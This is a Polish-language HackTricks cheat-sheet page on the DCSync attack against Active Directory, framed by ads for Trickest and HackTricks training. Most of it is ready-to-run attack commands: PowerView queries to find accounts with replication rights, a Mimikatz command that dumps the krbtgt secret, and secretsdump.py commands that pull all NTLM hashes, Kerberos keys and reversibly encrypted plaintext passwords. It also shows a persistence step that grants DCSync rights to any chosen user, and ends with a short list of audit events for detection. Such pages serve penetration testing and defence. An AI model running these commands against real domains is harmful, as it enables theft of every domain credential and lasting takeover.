6.9 KiB
DCSync
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
DCSync
Uprawnienie DCSync oznacza posiadanie tych uprawnień nad samą domeną: DS-Replication-Get-Changes, Replicating Directory Changes All i Replicating Directory Changes In Filtered Set.
Ważne uwagi dotyczące DCSync:
- Atak DCSync symuluje zachowanie kontrolera domeny i prosi inne kontrolery domeny o replikację informacji za pomocą protokołu zdalnej replikacji katalogów (MS-DRSR). Ponieważ MS-DRSR jest ważną i niezbędną funkcją Active Directory, nie można go wyłączyć ani dezaktywować.
- Domyślnie tylko grupy Domain Admins, Enterprise Admins, Administrators i Domain Controllers mają wymagane uprawnienia.
- Jeśli jakiekolwiek hasła kont są przechowywane z odwracalnym szyfrowaniem, w Mimikatz dostępna jest opcja zwrócenia hasła w postaci czystego tekstu.
Enumeracja
Sprawdź, kto ma te uprawnienia, używając powerview
:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
Wykorzystanie lokalne
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Wykorzystanie Zdalne
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc
generuje 3 pliki:
- jeden z hashami NTLM
- jeden z kluczami Kerberos
- jeden z hasłami w postaci czystego tekstu z NTDS dla wszystkich kont ustawionych z włączonym szyfrowaniem odwracalnym. Możesz uzyskać użytkowników z szyfrowaniem odwracalnym za pomocą
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Utrzymywanie dostępu
Jeśli jesteś administratorem domeny, możesz przyznać te uprawnienia dowolnemu użytkownikowi za pomocą powerview
:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Następnie możesz sprawdzić, czy użytkownik został poprawnie przypisany do 3 uprawnień, szukając ich w wynikach (powinieneś być w stanie zobaczyć nazwy uprawnień w polu "ObjectType"):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
Mitigation
- Identyfikator zdarzenia zabezpieczeń 4662 (Polityka audytu dla obiektu musi być włączona) – Operacja została wykonana na obiekcie
- Identyfikator zdarzenia zabezpieczeń 5136 (Polityka audytu dla obiektu musi być włączona) – Obiekt usługi katalogowej został zmodyfikowany
- Identyfikator zdarzenia zabezpieczeń 4670 (Polityka audytu dla obiektu musi być włączona) – Uprawnienia do obiektu zostały zmienione
- AD ACL Scanner - Twórz i porównuj raporty ACL. https://github.com/canix1/ADACLScanner
References
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}